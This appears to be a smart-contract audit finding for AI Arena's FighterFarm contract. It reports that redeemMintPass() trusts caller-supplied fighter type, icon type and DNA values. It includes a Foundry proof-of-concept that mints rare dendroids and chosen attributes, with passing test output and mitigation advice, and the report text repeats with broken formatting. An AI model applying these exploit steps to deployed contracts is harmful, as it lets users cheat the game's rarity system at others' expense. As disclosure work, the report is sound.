The redeemMintPass() function is used to redeem AA mint passes for fighter NFTs. The issue is that the function allows any user/gamer to pass in the parameters fighterTypes, iconTypes and mintPassDnas of their choice.
Impacts:
Users can always provide fighterTypes as 1 to mint rare dendroid fighter NFT.
Users can always pass 2 or 3 for iconsType to get the rarest physical attributes (i.e. beta helmet, red diamond, bowling ball). Any values other than 2 or 3 (except 0) would give them red diamonds only. Overall, icons are a rare subtype of champions, so getting red diamonds are still rare.
Users can trial and error (or fuzz test if skillful) by keccak256 hashing mintPassDnas values offchain to receive the rarest physical attribute probability indexes for champions and icons. It could also be used to receive their preferred weight and element type.
On further discussions with the sponsor. the expected behaviour is for their server to give users the correct inputs and to have validation onchain.
Proof of Concept
It would be cumbersome to explain each of the issues given the complexities in calculations and value assignments. The coded POC below demonstrates every impact mentioned above to its best.
How to use this POC:
Add the POC to FighterFarm.t.sol in the test folder.
To test for impact 1, run forge test --match-test testUserCanCreateDendroids -vvv
To test for impact 2, run forge test --match-test testUserCanCreateIconsWithBetaHelmetAndRedDiamonds -vvv and forge test --match-test testUserCanCreateIconsWithBowlingBallAndRedDiamonds -vvv
To test for impact 3, run forge test --match-test testUserCanReceiveElementOfTheirChoice -vvv and forge test --match-test testUserCanReceiveWeightOfTheirChoice -vvv
Each test function console logs only after the assertions are valid. I've added helpful comments to try to understand each case.
File: FighterFarm.t.sol
409: function testSetupMintpassForUser() public {
410: uint8[2] memory numToMint = [1, 0];
411: bytes memory signature = abi.encodePacked(
412: hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c"
413: );
414: string[] memory _tokenURIs = new string[](1);
415: _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
416:
417: // Mint an nft from the mintpass contract
418: assertEq(_mintPassContract.mintingPaused(), false);
419: _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);
420: assertEq(_mintPassContract.balanceOf(_ownerAddress), 1);
421: assertEq(_mintPassContract.ownerOf(1), _ownerAddress);
422: }
423:
424: function testUserCanCreateDendroids() public {
425: // Creates a mint pass for the user
426: testSetupMintpassForUser();
427:
428: // Set up parameters to always get a dendroid
429: uint256[] memory _mintpassIdsToBurn = new uint256[](1);
430: string[] memory _mintPassDNAs = new string[](1);
431: uint8[] memory _fighterTypes = new uint8[](1);
432: uint8[] memory _iconsTypes = new uint8[](1);
433: string[] memory _neuralNetHashes = new string[](1);
434: string[] memory _modelTypes = new string[](1);
435:
436: _mintpassIdsToBurn[0] = 1;
437: _mintPassDNAs[0] = "dna";
438: _fighterTypes[0] = 1; // 0 for champions, 1 for dendroids
439: _neuralNetHashes[0] = "neuralnethash";
440: _modelTypes[0] = "original";
441: _iconsTypes[0] = 1;
442:
443: // approve the fighterfarm contract to burn the mintpass
444: _mintPassContract.approve(address(_fighterFarmContract), 1);
445:
446: _fighterFarmContract.redeemMintPass(
447: _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes
448: );
449:
450: (address owner, uint256[6] memory attributes, uint256 weight, uint256 element, string memory modelHash, string memory modelType, uint256 generation) = _fighterFarmContract.getAllFighterInfo(0);
451:
452: // Checking all attributes to be 99 i.e. it is a dendroid
453: for (uint256 i; i < 6; i++) {
454: assertEq(attributes[i], 99);
455: }
456:
457: // Console logs only if all assertions are correct above
458: console.log("Impact 1 confirmed - User received dendroid (every attribute is 99)");
459: }
460:
461: function testUserCanCreateIconsWithBetaHelmetAndRedDiamonds() public {
462: // Creates a mint pass for the user
463: testSetupMintpassForUser();
464:
465: // Set up parameters to always get a dendroid
466: uint256[] memory _mintpassIdsToBurn = new uint256[](1);
467: string[] memory _mintPassDNAs = new string[](1);
468: uint8[] memory _fighterTypes = new uint8[](1);
469: uint8[] memory _iconsTypes = new uint8[](1);
470: string[] memory _neuralNetHashes = new string[](1);
471: string[] memory _modelTypes = new string[](1);
472:
473: _mintpassIdsToBurn[0] = 1;
474: _mintPassDNAs[0] = "dna";
475: _fighterTypes[0] = 0;
476: _neuralNetHashes[0] = "neuralnethash";
477: _modelTypes[0] = "original";
478: _iconsTypes[0] = 2; // 0 means no iconsType, 2 or 3 to receive rarest physical attributes among icons, values other than 0,2,3 would only give red diamonds
479:
480: // approve the fighterfarm contract to burn the mintpass
481: _mintPassContract.approve(address(_fighterFarmContract), 1);
482:
483: _fighterFarmContract.redeemMintPass(
484: _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes
485: );
486:
487: (address owner, uint256[6] memory attributes, uint256 weight, uint256 element, string memory modelHash, string memory modelType, uint256 generation) = _fighterFarmContract.getAllFighterInfo(0);
488:
489: // Confirmation that user receives beta helmet for "head" attribute and red diamonds for "eyes" attribute
490: assertEq(attributes[0], 50);
491: assertEq(attributes[1], 50);
492:
493: // Console logs only if all assertions are valid above
494: console.log("Impact 2 - User receives icon with beta helmet and red diamonds");
495: }
496:
497: function testUserCanCreateIconsWithBowlingBallAndRedDiamonds() public {
498: // Creates a mint pass for the user
499: testSetupMintpassForUser();
500:
501: // Set up parameters to always get a dendroid
502: uint256[] memory _mintpassIdsToBurn = new uint256[](1);
503: string[] memory _mintPassDNAs = new string[](1);
504: uint8[] memory _fighterTypes = new uint8[](1);
505: uint8[] memory _iconsTypes = new uint8[](1);
506: string[] memory _neuralNetHashes = new string[](1);
507: string[] memory _modelTypes = new string[](1);
508:
509: _mintpassIdsToBurn[0] = 1;
510: _mintPassDNAs[0] = "dna";
511: _fighterTypes[0] = 0;
512: _neuralNetHashes[0] = "neuralnethash";
513: _modelTypes[0] = "original";
514: _iconsTypes[0] = 3; // 0 means no iconsType, 2 or 3 to receive rarest physical attributes among icons, values other than 0,2,3 would only give red diamonds
515:
516: // approve the fighterfarm contract to burn the mintpass
517: _mintPassContract.approve(address(_fighterFarmContract), 1);
518:
519: _fighterFarmContract.redeemMintPass(
520: _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes
521: );
522:
523: (address owner, uint256[6] memory attributes, uint256 weight, uint256 element, string memory modelHash, string memory modelType, uint256 generation) = _fighterFarmContract.getAllFighterInfo(0);
524:
525: // Confirmation that user receives bowling ball for "hands" attribute and red diamonds for "eyes" attribute
526: assertEq(attributes[4], 50);
527: assertEq(attributes[1], 50);
528:
529: // Console logs only if all assertions are valid above
530: console.log("Impact 2 - User receives icon with bowling ball and red diamonds");
531: }
532:
533: function testUserCanReceiveElementOfTheirChoice() public {
534: string memory fuzzValue = "dna";
535:
536: // Use fuzzValue to determine if expected element is met or not
537: uint256 dna = uint256(keccak256(abi.encode(fuzzValue)));
538: uint256 element = dna % _fighterFarmContract.numElements(0);
539:
540: // Consider user wants element of 1 for fire
541: // Confirm expected element is met
542: assertEq(element, 1);
543: // Console logs after assertion is valid
544: console.log("Impact 3 - User receives expected element if he uses mintPassDna value:",fuzzValue);
545: }
546:
547: function testUserCanReceiveWeightOfTheirChoice() public {
548: string memory fuzzValue = "dna";
549:
550: // Use fuzzValue to determine if expected weight is met or not
551: uint256 dna = uint256(keccak256(abi.encode(fuzzValue)));
552: uint256 weight = dna % 31 + 65;
553:
554: // Consider user wants to be a heavy weight fighter
555: assertEq(weight, 83);
556:
557: // Console logs after assertion is valid
558: console.log("Impact 3 - User receives expected weight if he uses mintPassDna value:",fuzzValue);
559: }
560:
Impact 1 confirmation
[PASS] testUserCanCreateDendroids() (gas: 594212)
Logs:
Impact 1 confirmed - User received dendroid (every attribute is 99)
Impact 2 confirmations
[PASS] testUserCanCreateIconsWithBetaHelmetAndRedDiamonds() (gas: 648773)
Logs:
Impact 2 - User receives icon with beta helmet and red diamonds
[PASS] testUserCanCreateIconsWithBowlingBallAndRedDiamonds() (gas: 649152)
Logs:
Impact 2 - User receives icon with bowling ball and red diamonds
Impact 3 confirmations
[PASS] testUserCanReceiveElementOfTheirChoice() (gas: 12206)
Logs:
Impact 3 - User receives expected element if he uses mintPassDna value: dna
[PASS] testUserCanReceiveWeightOfTheirChoice() (gas: 4734)
Logs:
Impact 3 - User receives expected weight if he uses mintPassDna value: dna
Tools Used
Manual Review
Recommended Mitigation Steps
Since the expected behaviour is for the team's game server to give users the correct inputs and to have validation onchain, the implementation would be similar to how claimFighters() is implemented.
For parameter fighterTypes and iconsType, consider hashing it to a msgHash and verify if with the signature (additional parameter to be provided) to ensure the delegatedAddress from the frontend has provided the correct inputs. Make sure to also include a nonce in the msgHash to avoid replay attacks.
In case of parameter mintPassDnas, remove the parameter and use the hash of msg.sender and fighters.length as done in claimFighters(). The hash could also include the mintPassId the user is redeeming.
The above solutions are just recommendations that prevent this issue from occurring. The team can perform their own validation mechanism based on how they provide parameters from the frontend.
Lines of code
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233
Vulnerability details
Impact
The redeemMintPass() function is used to redeem AA mint passes for fighter NFTs. The issue is that the function allows any user/gamer to pass in the parameters
fighterTypes
,iconTypes
andmintPassDnas
of their choice.Impacts:
fighterTypes
as 1 to mint rare dendroid fighter NFT.iconsType
to get the rarest physical attributes (i.e. beta helmet, red diamond, bowling ball). Any values other than 2 or 3 (except 0) would give them red diamonds only. Overall, icons are a rare subtype of champions, so getting red diamonds are still rare.mintPassDnas
values offchain to receive the rarest physical attribute probability indexes for champions and icons. It could also be used to receive their preferred weight and element type.On further discussions with the sponsor. the expected behaviour is for their server to give users the correct inputs and to have validation onchain.
Proof of Concept
It would be cumbersome to explain each of the issues given the complexities in calculations and value assignments. The coded POC below demonstrates every impact mentioned above to its best.
How to use this POC:
test
folder.forge test --match-test testUserCanCreateDendroids -vvv
forge test --match-test testUserCanCreateIconsWithBetaHelmetAndRedDiamonds -vvv
andforge test --match-test testUserCanCreateIconsWithBowlingBallAndRedDiamonds -vvv
forge test --match-test testUserCanReceiveElementOfTheirChoice -vvv
andforge test --match-test testUserCanReceiveWeightOfTheirChoice -vvv
Impact 1 confirmation
Impact 2 confirmations
Impact 3 confirmations
Tools Used
Manual Review
Recommended Mitigation Steps
Since the expected behaviour is for the team's game server to give users the correct inputs and to have validation onchain, the implementation would be similar to how claimFighters() is implemented.
For parameter
fighterTypes
andiconsType
, consider hashing it to amsgHash
and verify if with thesignature
(additional parameter to be provided) to ensure thedelegatedAddress
from the frontend has provided the correct inputs. Make sure to also include anonce
in the msgHash to avoid replay attacks.In case of parameter
mintPassDnas
, remove the parameter and use the hash of msg.sender and fighters.length as done in claimFighters(). The hash could also include the mintPassId the user is redeeming.The above solutions are just recommendations that prevent this issue from occurring. The team can perform their own validation mechanism based on how they provide parameters from the frontend.
Assessed type
Other